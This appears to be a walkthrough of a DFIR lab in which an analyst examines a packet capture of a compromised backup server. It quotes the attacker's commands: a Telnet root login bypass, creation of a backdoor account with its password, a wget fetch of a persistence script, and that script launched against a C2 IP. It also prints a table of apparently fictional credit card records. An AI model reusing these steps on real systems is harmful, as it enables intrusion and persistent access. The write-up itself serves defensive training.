Abstract
You are a Junior DFIR Analyst at an MSSP that provides continuous monitoring and DFIR services to SMBs. Your supervisor has tasked you with analyzing network telemetry from a compromised backup server. A DLP solution flagged a possible data exfiltration attempt from this server. According to the IT team, this server wasn’t very busy and was sometimes used to store backups.
The provided ZIP file only contains a network capture that I open in Wireshark.
Question 1
What CVE is associated with the vulnerability exploited in the Telnet protocol?
Filtering the packets in Wireshark for telnet and then following the TCP stream of the very first match (tcp.stream eq 14) shows the communication between the client and the server. The client sends -f root that gets passed to /usr/bin/login without proper sanitization in CVE-2026-240611.
CVE-2026-24061
Question 2
When was the Telnet vulnerability successfully exploited, granting the attacker remote root access on the target machine?
After setting the time display format to UTC Date and Time of Day and then sorting the filtered packets, I can see the point in time when the attack occurred.
2026-01-27 10:39:28
Question 3
What is the hostname of the targeted server?
The server sends the bash prompt containing the hostname back to the client.
backup-secondary
Question 4
The attacker created a backdoor account to maintain future access. What username and password were set for that account?
When I search for useradd, I find the command that created the account cleanupsvc. This is also visible in the screenshot for Question 1.
sudo useradd -m -s /bin/bash cleanupsvc; echo "cleanupsvc:YouKnowWhoiam69" | sudo chpasswd
cleanupsvc:YouKnowWhoiam69
Question 5
What was the full command the attacker used to download the persistence script?
This is also visible in the screenshot for Question 1.
wget https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh
Question 6
The attacker installed remote access persistence using the persistence script. What is the C2 IP address?
The attacker executed the previously downloaded script with -i 91.99.25.54 -p 59 --stealth-mode.
91.99.25.54
Question 7
The attacker exfiltrated a sensitive database file. At what time was this file exfiltrated?
After establishing persistence the attacker started a Python web server on port 6932. Filtering the packet capture for HTTP traffic on this port reveals a connection to /credit-cards-25-blackfriday.db.
2026-01-27 10:49:54
Question 8
Analyze the exfiltrated database. To follow compliance requirements, the breached organization needs to notify its customers. For data validation purposes, find the credit card number for a customer named Quinn Harris.
By going to File → Export Object → HTTP I get a list of all files transferred via HTTP and I can download the database from there.
$ sqlite3 credit-cards-25-blackfriday.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
purchases
sqlite> select * from purchases;
id|email|creditcardnumber|purchase_date|item_purchased
1|alex.morgan@gmail.com|4539682995824395|2025-11-27|Wireless earbuds
2|sam.taylor@hotmail.com|5424187310928476|2025-11-28|Laptop
3|jordan.lee@gmail.com|4916738021459982|2025-11-29|Smartphone
4|casey.park@hotmail.com|5190026847315569|2025-11-30|Bluetooth speaker
5|taylor.chen@gmail.com|4023567190842237|2025-12-01|Smartwatch
6|morgan.ross@hotmail.com|5578129403617724|2025-12-02|Tablet
7|jamie.khan@gmail.com|4485123096741186|2025-12-03|USB-C hub
8|riley.patel@hotmail.com|5109346672819053|2025-12-04|External SSD
9|devon.ng@gmail.com|4670912384567021|2025-12-05|Gaming mouse
10|skyler.wong@hotmail.com|5234907812669348|2025-12-06|Mechanical keyboard
11|avery.singh@gmail.com|4147098863215504|2025-12-07|Noise-cancelling headphones
12|quinn.harris@hotmail.com|5312269047781209|2025-12-08|4K monitor
13|reese.clark@gmail.com|4019283746650197|2025-12-09|Portable charger
14|peyton.adams@hotmail.com|5561048937712906|2025-12-10|Wi-Fi router
15|harper.baker@gmail.com|4920187364501293|2025-12-11|Action camera
16|rowan.mills@hotmail.com|5408619927743018|2025-12-12|Drone
17|drew.evans@gmail.com|4638201947563317|2025-12-02|E-reader
18|logan.scott@hotmail.com|5207743198604425|2025-11-27|Smart home camera
19|kai.reed@gmail.com|4096127735501842|2025-12-06|Smart light bulbs
20|blake.turner@hotmail.com|5536901274485011|2025-11-30|VR headset
21|finley.hughes@gmail.com|4701832699047716|2025-12-01|Graphics tablet
22|river.ward@hotmail.com|5162087341196502|2025-12-09|Fitness tracker
23|charlie.diaz@gmail.com|4267091182306649|2025-12-03|Streaming stick
24|emerson.gray@hotmail.com|5478123065901147|2025-11-28|Portable projector
25|sage.brooks@gmail.com|4156609273184408|2025-12-10|Dash cam
26|cameron.bell@hotmail.com|5299001843765520|2025-12-04|Microphone
27|dakota.cooper@gmail.com|4381176029950315|2025-12-07|Webcam
28|marley.howard@hotmail.com|5523419876027783|2025-11-29|Surge protector power strip
29|phoenix.price@gmail.com|4619920371846650|2025-12-05|Electric toothbrush
30|jesse.ramos@hotmail.com|5183762094419087|2025-12-08|Raspberry Pi starter kit
5312269047781209